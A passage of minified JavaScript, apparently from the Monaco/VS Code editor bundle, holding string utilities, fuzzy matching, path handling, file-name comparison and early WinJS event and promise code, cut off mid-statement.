v.test(e)};var _=/^[\\t\\n\\r\\x20-\\x7E]*$/;t.isBasicASCII=function(e){return _.test(e)},t.containsFullWidthCharacter=function(e){for(var t=0,n=e.length;t<n;t++)if(h(e.charCodeAt(t)))return!0;return!1},t.isFullWidthCharacter=h,t.difference=function(e,t,n){void 0===n&&(n=4);var i=Math.abs(e.length-t.length);if(i>n)return 0;var o,r,s=[],a=[];for(o=0;o<t.length+1;++o)a.push(0);for(o=0;o<e.length+1;++o)s.push(a);for(o=1;o<e.length+1;++o)for(r=1;r<t.length+1;++r)e[o-1]===t[r-1]?s[o][r]=s[o-1][r-1]+1:s[o][r]=Math.max(s[o-1][r],s[o][r-1]);return s[e.length][t.length]-Math.sqrt(i)},t.computeLineStarts=function(e){for(var t=/\\r\\n|\\r|\\n/g,n=[0];t.exec(e);)n.push(t.lastIndex);return n},t.lcut=function(e,n){if(e.length<n)return e;for(var i=e.split(/\\b/),o=0,r=i.length-1;r>=0;r--)if((o+=i[r].length)>n){i.splice(0,r);break}return i.join(t.empty).replace(/^\\s/,t.empty)};var y=/\\x1B\\x5B[12]?K/g,C=/\\x1b\\[\\d+m/g,b=/\\x1b\\[0?m/g;t.removeAnsiEscapeCodes=function(e){return e&&(e=(e=(e=e.replace(y,\"\")).replace(C,\"\")).replace(b,\"\")),e},t.UTF8_BOM_CHARACTER=String.fromCharCode(65279),t.startsWithUTF8BOM=function(e){return e&&e.length>0&&65279===e.charCodeAt(0)},t.appendWithLimit=function(e,t,n){var i=e.length+t.length;return i>n&&(e=\"...\"+e.substr(i-n)),t.length>n?e+=t.substr(t.length-n):e+=t,e},t.safeBtoa=function(e){return btoa(encodeURIComponent(e))},t.repeat=function(e,t){for(var n=\"\",i=0;i<t;i++)n+=e;return n}}),define(d[512],h([1,0,9]),function(e,t,n){\"use strict\";function i(e){return e}return{expand:i,OcticonLabel:function(){function e(e){this._container=e}return Object.defineProperty(e.prototype,\"text\",{set:function(e){var t=e||\"\";t=i(t=n.escape(t)),this._container.innerHTML=t},enumerable:!0,configurable:!0}),e}()}}),define(d[81],h([1,0,9,80]),function(e,t,n,i){\"use strict\";function o(){for(var e=[],t=0;t<arguments.length;t++)e[t]=arguments[t];return function(t,n){for(var i=0,o=e.length;i<o;i++){var r=e[i](t,n);if(r)return r}return null}}function r(e,t,i){if(!i||i.length<t.length)return null;return(e?n.beginsWithIgnoreCase(i,t):0===i.indexOf(t))?t.length>0?[{start:0,end:t.length}]:[]:null}function s(e,t){var n=t.toLowerCase().indexOf(e.toLowerCase());return-1===n?null:[{start:n,end:n+e.length}]}function a(e,t){return u(e.toLowerCase(),t.toLowerCase(),0,0)}function u(e,t,n,i){if(n===e.length)return[];if(i===t.length)return null;if(e[n]===t[i]){var o=null;if(o=u(e,t,n+1,i+1))return f({start:i,end:i+1},o)}return u(e,t,n,i+1)}function l(e){return 97<=e&&e<=122}function c(e){return 65<=e&&e<=90}function d(e){return 48<=e&&e<=57}function h(e){return 32===e||9===e||10===e||13===e}function p(e){return l(e)||c(e)||d(e)}function f(e,t){return 0===t.length?t=[e]:e.end===t[0].start?t[0].start=e.start:t.unshift(e),t}function g(e,t){for(var n=t;n<e.length;n++){var i=e.charCodeAt(n);if(c(i)||d(i)||n>0&&!p(e.charCodeAt(n-1)))return n}return e.length}function m(e,t,n,i){if(n===e.length)return[];if(i===t.length)return null;if(e[n]!==t[i].toLowerCase())return null;var o=null,r=i+1;for(o=m(e,t,n+1,i+1);!o&&(r=g(t,r))<t.length;)o=m(e,t,n+1,r),r++;return null===o?null:f({start:i,end:i+1},o)}function v(e){for(var t=0,n=0,i=0,o=0,r=0,s=0;s<e.length;s++)c(r=e.charCodeAt(s))&&t++,l(r)&&n++,p(r)&&i++,d(r)&&o++;return{upperPercent:t/e.length,lowerPercent:n/e.length,alphaPercent:i/e.length,numericPercent:o/e.length}}function _(e){var t=e.upperPercent;return 0===e.lowerPercent&&t>.6}function y(e){var t=e.upperPercent,n=e.lowerPercent,i=e.alphaPercent,o=e.numericPercent;return n>.2&&t<.8&&i>.6&&o<.2}function C(e){for(var t=0,n=0,i=0,o=0,r=0;r<e.length;r++)c(i=e.charCodeAt(r))&&t++,l(i)&&n++,h(i)&&o++;return 0!==t&&0!==n||0!==o?t<=5:e.length<=30}function b(e,t){if(!t||0===t.length)return null;if(!C(e))return null;if(t.length>60)return null;var n=v(t);if(!y(n)){if(!_(n))return null;t=t.toLowerCase()}for(var i=null,o=0;o<t.length&&null===(i=m(e.toLowerCase(),t,0,o));)o=g(t,o+1);return i}function w(e,t,n,i,o){if(n===e.length)return[];if(i===t.length)return null;if(e[n]!==t[i].toLowerCase())return null;var r=null,s=i+1;if(r=w(e,t,n+1,i+1,o),!o)for(;!r&&(s=S(t,s))<t.length;)r=w(e,t,n+1,s,o),s++;return null===r?null:f({start:i,end:i+1},r)}function S(e,t){for(var n=t;n<e.length;n++)if(h(e.charCodeAt(n))||n>0&&h(e.charCodeAt(n-1)))return n;return e.length}function E(){for(var e=[],t=[0],n=1;n<=100;n++)t.push(-n);for(n=0;n<=100;n++){var i=t.slice(0);i[0]=-n,e.push(i)}return e}function L(e,t,n,i,o){function r(e,t,n){for(void 0===n&&(n=\" \");e.length<t;)e=n+e;return e}for(var s=\" |   |\"+i.split(\"\").map(function(e){return r(e,3)}).join(\"|\")+\"\\n\",a=0;a<=n;a++)s+=0===a?\" |\":t[a-1]+\"|\",s+=e[a].slice(0,o+1).map(function(e){return r(e.toString(),3)}).join(\"|\")+\"\\n\";return s}function x(e,t,n){var i=e.length>100?100:e.length,o=t.length>100?100:t.length,r=0;for(void 0===n&&(n=i);r<n&&A[e[r]];)r+=1;if(r===i)return[-100,[]];if(!(i>o)){for(var s=e.toLowerCase(),a=t.toLowerCase(),u=r,l=0;u<i&&l<o;)s[u]===a[l]&&(u+=1),l+=1;if(u===i){for(u=r+1;u<=i;u++){var c=\"\";for(l=1;l<=o;l++){var d=-1,h=a[l-1];s[u-1]===h&&(d=l===u-r?e[u-1]===t[l-1]?7:5:h!==t[l-1]?e[u-1]===t[l-1]?7:5:P[c]?5:1),D[u][l]=d;var p=I[u-1][l-1]+(d>1?1:d),f=I[u-1][l]+-1,g=I[u][l-1]+-1;g>=f?g>p?(I[u][l]=g,O[u][l]=4):g===p?(I[u][l]=g,O[u][l]=6):(I[u][l]=p,O[u][l]=2):f>p?(I[u][l]=f,O[u][l]=1):f===p?(I[u][l]=f,O[u][l]=3):(I[u][l]=p,O[u][l]=2),c=h}}if(R&&(console.log(L(I,e,i,t,o)),console.log(L(O,e,i,t,o)),console.log(L(D,e,i,t,o))),W.length=0,B=-100,V=r,N(i,o,0,new H,!1),0!==W.length)return[B,W[0].toArray()]}}}function N(e,t,n,i,o){if(!(W.length>=10||n<-25)){for(var r=0;e>V&&t>0;){var s=D[e][t],a=O[e][t];if(4===a)t-=1,o?n-=5:i.isEmpty()||(n-=1),o=!1,r=0;else{if(!(2&a))return;if(4&a&&N(e,t-1,i.isEmpty()?n:n-1,i.slice(),o),n+=s,e-=1,t-=1,i.unshift(t),o=!0,1===s){if(r+=1,e===V)return}else n+=1+r*(s-1),r=0}}(n-=t>=3?9:3*t)>B?(B=n,W.unshift(i)):W.push(i)}}function M(e,t){if(!(t+1>=e.length))return e.slice(0,t)+e[t+1]+e[t]+e.slice(t+2)}Object.defineProperty(t,\"__esModule\",{value:!0}),t.or=o,t.and=function(){for(var e=[],t=0;t<arguments.length;t++)e[t]=arguments[t];return function(t,n){for(var i=[],o=0,r=e.length;o<r;o++){var s=e[o](t,n);if(!s)return null;i=i.concat(s)}return i}},t.matchesStrictPrefix=r.bind(void 0,!1),t.matchesPrefix=r.bind(void 0,!0),t.matchesContiguousSubString=s,t.matchesSubString=a,t.matchesCamelCase=b,t.matchesWords=function(e,t,n){if(void 0===n&&(n=!1),!t||0===t.length)return null;for(var i=null,o=0;o<t.length&&null===(i=w(e.toLowerCase(),t,0,o,n));)o=S(t,o+1);return i};!function(e){e[e.Contiguous=0]=\"Contiguous\",e[e.Separate=1]=\"Separate\"}(t.SubstringMatching||(t.SubstringMatching={})),t.fuzzyContiguousFilter=o(t.matchesPrefix,b,s);var T=o(t.matchesPrefix,b,a),k=new i.BoundedMap(1e4);t.matchesFuzzy=function(e,i,o){if(void 0===o&&(o=!1),\"string\"!=typeof e||\"string\"!=typeof i)return null;var r=k.get(e);r||(r=new RegExp(n.convertSimple2RegExpPattern(e),\"i\"),k.set(e,r));var s=r.exec(i);return s?[{start:s.index,end:s.index+s[0].length}]:o?T(e,i):t.fuzzyContiguousFilter(e,i)},t.createMatches=function(e){var t=[];if(!e)return t;for(var n,i=0,o=e;i<o.length;i++){var r=o[i];n&&n.end===r?n.end+=1:(n={start:r,end:r+1},t.push(n))}return t};var I=E(),D=E(),O=E(),R=!1,P=Object.create(null);P._=!0,P[\"-\"]=!0,P[\".\"]=!0,P[\" \"]=!0,P[\"/\"]=!0,P[\"\\\\\"]=!0,P[\"'\"]=!0,P['\"']=!0,P[\":\"]=!0;var A=Object.create(null);A[\" \"]=!0,A[\"\\t\"]=!0;var F;!function(e){e[e.Top=1]=\"Top\",e[e.Diag=2]=\"Diag\",e[e.Left=4]=\"Left\"}(F||(F={})),t.fuzzyScore=x;var W=[],B=0,V=0,H=function(){function e(){}return e.prototype.isEmpty=function(){return!this._data&&(!this._parent||this._parent.isEmpty())},e.prototype.unshift=function(e){this._data?this._data.unshift(e):this._data=[e]},e.prototype.slice=function(){var t=new e;return t._parent=this,t._parentLen=this._data?this._data.length:0,t},e.prototype.toArray=function(){if(!this._data)return this._parent.toArray();for(var e=[],t=this;t;)t._parent&&t._parent._data&&e.push(t._parent._data.slice(t._parent._data.length-t._parentLen)),t=t._parent;return Array.prototype.concat.apply(this._data,e)},e}();t.nextTypoPermutation=M,t.fuzzyScoreGraceful=function(e,t){for(var n=x(e,t),i=1;i<e.length-1&&!n;i++)n=x(M(e,i),t);return n}}),define(d[45],h([1,0,15,33,9]),function(e,t,n,i,o){\"use strict\";function r(e){var t=~e.lastIndexOf(\"/\")||~e.lastIndexOf(\"\\\\\");return 0===t?e:~t==e.length-1?r(e.substring(0,e.length-1)):e.substr(1+~t)}function s(e,t){return t?!p.test(e):!h.test(e)}function a(e,t){if(null===e||void 0===e)return e;var i=e.length;if(0===i)return\".\";var o=n.isWindows&&t;if(s(e,o))return e;for(var r=o?\"\\\\\":\"/\",a=l(e,r),c=a.length,d=!1,h=\"\",p=a.length;p<=i;p++)if(p===i||47===e.charCodeAt(p)||92===e.charCodeAt(p)){if(u(e,c,p,\"..\")){var f=h.lastIndexOf(r),g=h.slice(f+1);(a||g.length>0)&&\"..\"!==g&&(h=-1===f?\"\":h.slice(0,f),d=!0)}else u(e,c,p,\".\")&&(a||h||p<i-1)&&(d=!0);if(!d){var m=e.slice(c,p);\"\"!==h&&h[h.length-1]!==r&&(h+=r),h+=m}c=p+1,d=!1}return a+h}function u(e,t,n,i){return t+i.length===n&&e.indexOf(i,t)===t}function l(e,t){if(void 0===t&&(t=\"/\"),!e)return\"\";var n=e.length,i=e.charCodeAt(0);if(47===i||92===i){if((47===(i=e.charCodeAt(1))||92===i)&&47!==(i=e.charCodeAt(2))&&92!==i){for(var o=3,r=o;o<n&&(47!==(i=e.charCodeAt(o))&&92!==i);o++);if(i=e.charCodeAt(o+1),r!==o&&47!==i&&92!==i)for(o+=1;o<n;o++)if(47===(i=e.charCodeAt(o))||92===i)return e.slice(0,o+1).replace(/[\\\\/]/g,t)}return t}if((i>=65&&i<=90||i>=97&&i<=122)&&58===e.charCodeAt(1))return 47===(i=e.charCodeAt(2))||92===i?e.slice(0,2)+t:e.slice(0,2);var s=e.indexOf(\"://\");if(-1!==s)for(s+=3;s<n;s++)if(47===(i=e.charCodeAt(s))||92===i)return e.slice(0,s+1);return\"\"}function c(e){if(!e)return!1;var t=e.charCodeAt(0);if(47===t||92===t)return!0;if((t>=65&&t<=90||t>=97&&t<=122)&&e.length>2&&58===e.charCodeAt(1)){var n=e.charCodeAt(2);if(47===n||92===n)return!0}return!1}function d(e){return e&&47===e.charCodeAt(0)}Object.defineProperty(t,\"__esModule\",{value:!0}),t.sep=\"/\",t.nativeSep=n.isWindows?\"\\\\\":\"/\",t.relative=function(e,r){for(var s=o.rtrim(a(e),t.sep),u=o.rtrim(a(r),t.sep),l=n.isLinux?s:s.toLowerCase(),c=n.isLinux?u:u.toLowerCase(),d=l.split(t.sep),h=c.split(t.sep),p=0,f=Math.min(d.length,h.length);p<f&&d[p]===h[p];p++);return i.fill(d.length-p,function(){return\"..\"}).concat(u.split(t.sep).slice(p)).join(t.sep)},t.dirname=function(e){var i=~e.lastIndexOf(\"/\")||~e.lastIndexOf(\"\\\\\");if(0===i)return\".\";if(0==~i)return e[0];var o=e.substring(0,~i);return n.isWindows&&\":\"===o[o.length-1]&&(o+=t.nativeSep),o},t.basename=r,t.extname=function(e){var t=~(e=r(e)).lastIndexOf(\".\");return t?e.substring(~t):\"\"};var h=/(\\/\\.\\.?\\/)|(\\/\\.\\.?)$|^(\\.\\.?\\/)|(\\/\\/+)|(\\\\)/,p=/(\\\\\\.\\.?\\\\)|(\\\\\\.\\.?)$|^(\\.\\.?\\\\)|(\\\\\\\\+)|(\\/)/;t.normalize=a,t.getRoot=l,t.join=function(){for(var e=\"\",n=0;n<arguments.length;n++){var i=arguments[n];if(n>0){var o=e.charCodeAt(e.length-1);if(47!==o&&92!==o){var r=i.charCodeAt(0);47!==r&&92!==r&&(e+=t.sep)}}e+=i}return a(e)},t.isUNC=function(e){if(!n.isWindows)return!1;if(!e||e.length<5)return!1;var t=e.charCodeAt(0);if(92!==t)return!1;if(92!==(t=e.charCodeAt(1)))return!1;for(var i=2,o=i;i<e.length&&92!==(t=e.charCodeAt(i));i++);return o!==i&&(t=e.charCodeAt(i+1),!isNaN(t)&&92!==t)};var f=n.isWindows?/[\\\\/:\\*\\?\"<>\\|]/g:/[\\\\/]/g,g=/^(con|prn|aux|clock\\$|nul|lpt[0-9]|com[0-9])$/i;t.isValidBasename=function(e){return!(!e||0===e.length||/^\\s+$/.test(e)||(f.lastIndex=0,f.test(e)||n.isWindows&&g.test(e)||\".\"===e||\"..\"===e||n.isWindows&&\".\"===e[e.length-1]||n.isWindows&&e.length!==e.trim().length))},t.isEqual=function(e,t,n){var i=e===t;return!n||i?i:!(!e||!t)&&o.equalsIgnoreCase(e,t)},t.isEqualOrParent=function(e,n,i){if(e===n)return!0;if(!e||!n)return!1;if(n.length>e.length)return!1;if(i){if(!o.beginsWithIgnoreCase(e,n))return!1;if(n.length===e.length)return!0;var r=n.length;return n.charAt(n.length-1)===t.nativeSep&&r--,e.charAt(r)===t.nativeSep}return n.charAt(n.length-1)!==t.nativeSep&&(n+=t.nativeSep),0===e.indexOf(n)},t.isAbsolute=function(e){return n.isWindows?c(e):d(e)},t.isAbsolute_win32=c,t.isAbsolute_posix=d}),define(d[229],h([1,0,423,9,45]),function(e,t,n,i,o){\"use strict\";function r(e,t){if(c){var n=e||\"\",i=t||\"\",o=c.compare(n,i);return d&&0===o&&n!==i?n<i?-1:1:o}return s(e,t)}function s(e,t){var n=h.exec(e.toLowerCase()),i=h.exec(t.toLowerCase()),o=n[1]||\"\",r=n[3]||\"\",s=i[1]||\"\",a=i[3]||\"\";return o!==s?o<s?-1:1:r===a?0:r<a?-1:1}function a(e,t){var n=e?h.exec(e.toLowerCase()):[],i=t?h.exec(t.toLowerCase()):[],o=n[1]||\"\",r=n[3]||\"\",s=i[1]||\"\",a=i[3]||\"\";return r!==a?r<a?-1:1:o===s?0:o<s?-1:1}function u(e,t,n){var o=e.toLowerCase(),s=t.toLowerCase(),a=l(e,t,n);if(a)return a;var u=i.endsWith(o,n);if(u!==i.endsWith(s,n))return u?-1:1;var c=r(o,s);return 0!==c?c:o.localeCompare(s)}function l(e,t,n){var o=e.toLowerCase(),r=t.toLowerCase(),s=i.startsWith(o,n),a=i.startsWith(r,n);if(s!==a)return s?-1:1;if(s&&a){if(o.length<r.length)return-1;if(o.length>r.length)return 1}return 0}Object.defineProperty(t,\"__esModule\",{value:!0});var c,d;t.setFileNameComparer=function(e){c=e,d=e.resolvedOptions().numeric},t.compareFileNames=r;var h=/^(.*?)(\\.([^.]*))?$/;t.noIntlCompareFileNames=s,t.compareFileExtensions=function(e,t){if(c){var n=e?h.exec(e):[],i=t?h.exec(t):[],o=n[1]||\"\",r=n[3]||\"\",s=i[1]||\"\",u=i[3]||\"\",l=c.compare(r,u);if(0===l){if(d&&r!==u)return r<u?-1:1;if(l=c.compare(o,s),d&&0===l&&o!==s)return o<s?-1:1}return l}return a(e,t)},t.comparePaths=function(e,t){for(var n,i,s,a,u=e.split(o.nativeSep),l=t.split(o.nativeSep),c=u.length-1,d=l.length-1,h=0;;h++){if(n=c===h,i=d===h,n&&i)return r(u[h],l[h]);if(n)return-1;if(i)return 1;if((s=u[h].toLowerCase())!==(a=l[h].toLowerCase()))return s<a?-1:1}},t.compareAnything=u,t.compareByPrefix=l,t.compareByScore=function(e,t,i,o,r,s){var a=i.getLabel(e),c=i.getLabel(t),d=l(a,c,o);if(d)return d;var h=n.score(a,o,s),p=n.score(c,o,s);if(h!==p)return h>p?-1:1;var f=i.getResourcePath(e),g=i.getResourcePath(t);if(f&&g){var m=n.score(f,o,s),v=n.score(g,o,s);if(m!==v)return m>v?-1:1}return a.length!==c.length?a.length<c.length?-1:1:f&&g&&f.length!==g.length?f.length<g.length?-1:1:a===c&&f&&g?u(f,g,r):u(a,c,r)}}),define(d[174],h([1,0,24,15,45,9]),function(e,t,n,i,o,r){\"use strict\";function s(e,t){return e&&(i.isMacintosh||i.isLinux)&&o.isEqualOrParent(e,t,!i.isLinux)&&(e=\"~\"+e.substr(t.length)),e}Object.defineProperty(t,\"__esModule\",{value:!0}),t.getPathLabel=function(e,t,a){if(!e)return null;\"string\"==typeof e&&(e=n.default.file(e));var u=t?t.getRoot(e):null;if(u){var l=t.getWorkspace().roots.length>1,c=void 0;if(c=o.isEqual(u.fsPath,e.fsPath,!i.isLinux)?\"\":o.normalize(r.ltrim(e.fsPath.substr(u.fsPath.length),o.nativeSep),!0),l){var d=o.basename(u.fsPath);c=c?o.join(d,c):d}return c}if(i.isWindows&&e.fsPath&&\":\"===e.fsPath[1])return o.normalize(e.fsPath.charAt(0).toUpperCase()+e.fsPath.slice(1),!0);var h=o.normalize(e.fsPath,!0);return!i.isWindows&&a&&(h=s(h,a.userHome)),h},t.tildify=s;var a=\"…\",u=\"\\\\\\\\\";t.shorten=function(e){for(var t=new Array(e.length),n=!1,i=0;i<e.length;i++){var s=e[i];if(\"\"!==s)if(s){n=!0;var l=\"\";0===s.indexOf(u)?(l=s.substr(0,s.indexOf(u)+u.length),s=s.substr(s.indexOf(u)+u.length)):0===s.indexOf(o.nativeSep)&&(l=s.substr(0,s.indexOf(o.nativeSep)+o.nativeSep.length),s=s.substr(s.indexOf(o.nativeSep)+o.nativeSep.length));for(var c=s.split(o.nativeSep),d=1;n&&d<=c.length;d++)for(var h=c.length-d;n&&h>=0;h--){n=!1;for(var p=c.slice(h,h+d).join(o.nativeSep),f=0;!n&&f<e.length;f++)if(f!==i&&e[f]&&e[f].indexOf(p)>-1){var g=h+d===c.length,m=h>0&&e[f].indexOf(o.nativeSep)>-1?o.nativeSep+p:p,v=r.endsWith(e[f],m);n=!g||v}if(!n){var _=\"\";(r.endsWith(c[0],\":\")||\"\"!==l)&&(1===h&&(h=0,d++,p=c[0]+o.nativeSep+p),h>0&&(_=c[0]+o.nativeSep),_=l+_),h>0&&(_=_+a+o.nativeSep),_+=p,h+d<c.length&&(_=_+o.nativeSep+a),t[i]=_}}n&&(t[i]=s)}else t[i]=s;else t[i]=\".\"+o.nativeSep}return t};var l;!function(e){e[e.TEXT=0]=\"TEXT\",e[e.VARIABLE=1]=\"VARIABLE\",e[e.SEPARATOR=2]=\"SEPARATOR\"}(l||(l={})),t.template=function(e,t){void 0===t&&(t=Object.create(null));for(var n,i=[],o=!1,r=\"\",s=0;s<e.length;s++)if(\"$\"===(n=e[s])||o&&\"{\"===n)r&&i.push({value:r,type:l.TEXT}),r=\"\",o=!0;else if(\"}\"===n&&o){var a=t[r];if(\"string\"==typeof a)a.length&&i.push({value:a,type:l.VARIABLE});else if(a){var u=i[i.length-1];u&&u.type===l.SEPARATOR||i.push({value:a.label,type:l.SEPARATOR})}r=\"\",o=!1}else r+=n;return r&&!o&&i.push({value:r,type:l.TEXT}),i.filter(function(e,t){return e.type!==l.SEPARATOR||[i[t-1],i[t+1]].every(function(e){return e&&e.type===l.VARIABLE&&e.value.length>0})}).map(function(e){return e.value}).join(\"\")},t.mnemonicButtonLabel=function(e){return i.isWindows?e.replace(/&&/g,\"&\"):e.replace(/\\(&&\\w\\)|&&/g,\"\")}}),function(){var e={};e[\"WinJS/Core/_WinJS\"]={};var t=function(t,n,i){var o={},r=!1,s=n.map(function(t){return\"exports\"===t?(r=!0,o):e[t]}),a=i.apply({},s);e[t]=r?o:a};t(\"WinJS/Core/_Global\",[],function(){\"use strict\";return\"undefined\"!=typeof window?window:\"undefined\"!=typeof self?self:\"undefined\"!=typeof global?global:{}}),t(\"WinJS/Core/_BaseCoreUtils\",[\"WinJS/Core/_Global\"],function(e){\"use strict\";return{hasWinRT:!!e.Windows,markSupportedForProcessing:function(e){return e.supportedForProcessing=!0,e},_setImmediate:e.setImmediate?e.setImmediate.bind(e):function(t){e.setTimeout(t,0)}}}),t(\"WinJS/Core/_WriteProfilerMark\",[\"WinJS/Core/_Global\"],function(e){\"use strict\";return e.msWriteProfilerMark||function(){}}),t(\"WinJS/Core/_Base\",[\"WinJS/Core/_WinJS\",\"WinJS/Core/_Global\",\"WinJS/Core/_BaseCoreUtils\",\"WinJS/Core/_WriteProfilerMark\"],function(e,t,n,i){\"use strict\";function o(e,t,n){var i,o,r,s=Object.keys(t),a=Array.isArray(e);for(o=0,r=s.length;o<r;o++){var u=s[o],l=95!==u.charCodeAt(0),c=t[u];!c||\"object\"!=typeof c||void 0===c.value&&\"function\"!=typeof c.get&&\"function\"!=typeof c.set?l?a?e.forEach(function(e){e[u]=c}):e[u]=c:(i=i||{})[u]={value:c,enumerable:l,configurable:!0,writable:!0}:(void 0===c.enumerable&&(c.enumerable=l),n&&c.setName&&\"function\"==typeof c.setName&&c.setName(n+\".\"+u),(i=i||{})[u]=c)}i&&(a?e.forEach(function(e){Object.defineProperties(e,i)}):Object.defineProperties(e,i))}return function(){function n(n,i){var o=n||{};if(i){var r=i.split(\".\");o===t&&\"WinJS\"===r[0]&&(o=e,r.splice(0,1));for(var s=0,a=r.length;s<a;s++){var u=r[s];o[u]||Object.defineProperty(o,u,{value:{},writable:!1,enumerable:!0,configurable:!0}),o=o[u]}}return o}function r(e,t,i){var r=n(e,t);return i&&o(r,i,t||\"<ANONYMOUS>\"),r}var s=e;s.Namespace||(s.Namespace=Object.create(Object.prototype));var a={uninitialized:1,working:2,initialized:3};Object.defineProperties(s.Namespace,{defineWithParent:{value:r,writable:!0,enumerable:!0,configurable:!0},define:{value:function(e,n){return r(t,e,n)},writable:!0,enumerable:!0,configurable:!0},_lazy:{value:function(e){var t,n,o=a.uninitialized;return{setName:function(e){t=e},get:function(){switch(o){case a.initialized:return n;case a.uninitialized:o=a.working;try{i(\"WinJS.Namespace._lazy:\"+t+\",StartTM\"),n=e()}finally{i(\"WinJS.Namespace._lazy:\"+t+\",StopTM\"),o=a.uninitialized}return e=null,o=a.initialized,n;case a.working:throw\"Illegal: reentrancy on initialization\";default:throw\"Illegal\"}},set:function(e){switch(o){case a.working:throw\"Illegal: reentrancy on initialization\";default:o=a.initialized,n=e}},enumerable:!0,configurable:!0}},writable:!0,enumerable:!0,configurable:!0},_moduleDefine:{value:function(e,i,r){var s=[e],a=null;return i&&(a=n(t,i),s.push(a)),o(s,r,i||\"<ANONYMOUS>\"),a},writable:!0,enumerable:!0,configurable:!0}})}(),function(){function t(e,t,i){return e=e||function(){},n.markSupportedForProcessing(e),t&&o(e.prototype,t),i&&o(e,i),e}e.Namespace.define(\"WinJS.Class\",{define:t,derive:function(e,i,r,s){if(e){i=i||function(){};var a=e.prototype;return i.prototype=Object.create(a),n.markSupportedForProcessing(i),Object.defineProperty(i.prototype,\"constructor\",{value:i,writable:!0,configurable:!0,enumerable:!0}),r&&o(i.prototype,r),s&&o(i,s),i}return t(i,r,s)},mix:function(e){e=e||function(){};var t,n;for(t=1,n=arguments.length;t<n;t++)o(e.prototype,arguments[t]);return e}})}(),{Namespace:e.Namespace,Class:e.Class}}),t(\"WinJS/Core/_ErrorFromName\",[\"WinJS/Core/_Base\"],function(e){\"use strict\";var t=e.Class.derive(Error,function(e,t){this.name=e,this.message=t||e},{},{supportedForProcessing:!1});return e.Namespace.define(\"WinJS\",{ErrorFromName:t}),t}),t(\"WinJS/Core/_Events\",[\"exports\",\"WinJS/Core/_Base\"],function(e,t){\"use strict\";function n(e){var t=\"_on\"+e+\"state\";return{get:function(){var e=this[t];return e&&e.userHandler},set:function(n){var i=this[t];n?(i||(i={wrapper:function(e){return i.userHandler(e)},userHandler:n},Object.defineProperty(this,t,{value:i,enumerable:!1,writable:!0,configurable:!0}),this.addEventListener(e,i.wrapper,!1)),i.userHandler=n):i&&(this.removeEventListener(e,i.wrapper,!1),this[t]=null)},enumerable:!0}}var i=t.Class.define(function(e,t,n){this.detail=t,this.target=n,this.timeStamp=Date.now(),this.type=e},{bubbles:{value:!1,writable:!1},cancelable:{value:!1,writable:!1},currentTarget:{get:function(){return this.target}},defaultPrevented:{get:function(){return this._preventDefaultCalled}},trusted:{value:!1,writable:!1},eventPhase:{value:0,writable:!1},target:null,timeStamp:null,type:null,preventDefault:function(){this._preventDefaultCalled=!0},stopImmediatePropagation:function(){this._stopImmediatePropagationCalled=!0},stopPropagation:function(){}},{supportedForProcessing:!1}),o={_listeners:null,addEventListener:function(e,t,n){n=n||!1,this._listeners=this._listeners||{};for(var i=this._listeners[e]=this._listeners[e]||[],o=0,r=i.length;o<r;o++){var s=i[o];if(s.useCapture===n&&s.listener===t)return}i.push({listener:t,useCapture:n})},dispatchEvent:function(e,t){var n=this._listeners&&this._listeners[e];if(n){for(var o=new i(e,t,this),r=0,s=(n=n.slice(0,n.length)).length;r<s&&!o._stopImmediatePropagationCalled;r++)n[r].listener(o);return o.defaultPrevented||!1}return!1},removeEventListener:function(e,t,n){n=n||!1;var i=this._listeners&&this._listeners[e];if(i)for(var o=0,r=i.length;o<r;o++){var s=i[o];if(s.listener===t&&s.useCapture===n){i.splice(o,1),0===i.length&&delete this._listeners[e];break}}}};t.Namespace._moduleDefine(e,\"WinJS.Utilities\",{_createEventProperty:n,createEventProperties:function(){for(var e={},t=0,i=arguments.length;t<i;t++){var o=arguments[t];e[\"on\"+o]=n(o)}return e},eventMixin:o})}),t(\"WinJS/Core/_Trace\",[\"WinJS/Core/_Global\"],function(e){\"use strict\";function t(e){return e}return{_traceAsyncOperationStarting:e.Debug&&e.Debug.msTraceAsyncOperationStarting&&e.Debug.msTraceAsyncOperationStarting.bind(e.Debug)||t,_traceAsyncOperationCompleted:e.Debug&&e.Debug.msTraceAsyncOperationCompleted&&e.Debug.msTraceAsyncOperationCompleted.bind(e.Debug)||t,_traceAsyncCallbackStarting:e.Debug&&e.Debug.msTraceAsyncCallbackStarting&&e.Debug.msTraceAsyncCallbackStarting.bind(e.Debug)||t,_traceAsyncCallbackCompleted:e.Debug&&e.Debug.msTraceAsyncCallbackCompleted&&e.Debug.msTraceAsyncCallbackCompleted.bind(e.Debug)||t}}),t(\"WinJS/Promise/_StateMachine\",[\"WinJS/Core/_Global\",\"WinJS/Core/_BaseCoreUtils\",\"WinJS/Core/_Base\",\"WinJS/Core/_ErrorFromName\",\"WinJS/Core/_Events\",\"WinJS/Core/_Trace\"],function(e,t,n,i,o,r){\"use strict\";function s(){}function a(e,t){var n;n=t&&\"object\"==typeof t&&\"function\"==typeof t.then?O:F,e._value=t,e._setState(n)}function u(e,t,n,i,o,r){return{exception:e,error:t,promise:n,handler:r,id:i,parent:o}}function l(e,t,n,i){var o=n._isException,r=n._errorId;return u(o?t:null,o?null:t,e,r,n,i)}function c(e,t,n){var i=n._isException,o=n._errorId;return C(e,o,i),u(i?t:null,i?null:t,e,o,n)}function d(e,t){var n=++H;return C(e,n),u(null,t,e,n)}function h(e,t){var n=++H;return C(e,n,!0),u(t,null,e,n)}function p(e,t,n,i){y(e,{c:t,e:n,p:i,asyncOpID:r._traceAsyncOperationStarting(\"WinJS.Promise.done\")})}function f(e,t,n,i){e._value=t,v(e,t,n,i),e._setState(B)}function g(t,n){var i=t._value,o=t._listeners;if(o){t._listeners=null;var s,a;for(s=0,a=Array.isArray(o)?o.length:1;s<a;s++){var u=1===a?o:o[s],l=u.c,c=u.promise;if(r._traceAsyncOperationCompleted(u.asyncOpID,e.Debug&&e.Debug.MS_ASYNC_OP_STATUS_SUCCESS),c){r._traceAsyncCallbackStarting(u.asyncOpID);try{c._setCompleteValue(l?l(i):i)}catch(e){c._setExceptionValue(e)}finally{r._traceAsyncCallbackCompleted()}c._state!==O&&c._listeners&&n.push(c)}else G.prototype.done.call(t,l)}}}function m(t,n){var i=t._value,o=t._listeners;if(o){t._listeners=null;var s,a;for(s=0,a=Array.isArray(o)?o.length:1;s<a;s++){var u=1===a?o:o[s],c=u.e,d=u.promise,h=e.Debug&&(i&&i.name===M?e.Debug.MS_ASYNC_OP_STATUS_CANCELED:e.Debug.MS_ASYNC_OP_STATUS_ERROR);if(r._traceAsyncOperationCompleted(u.asyncOpID,h),d){var 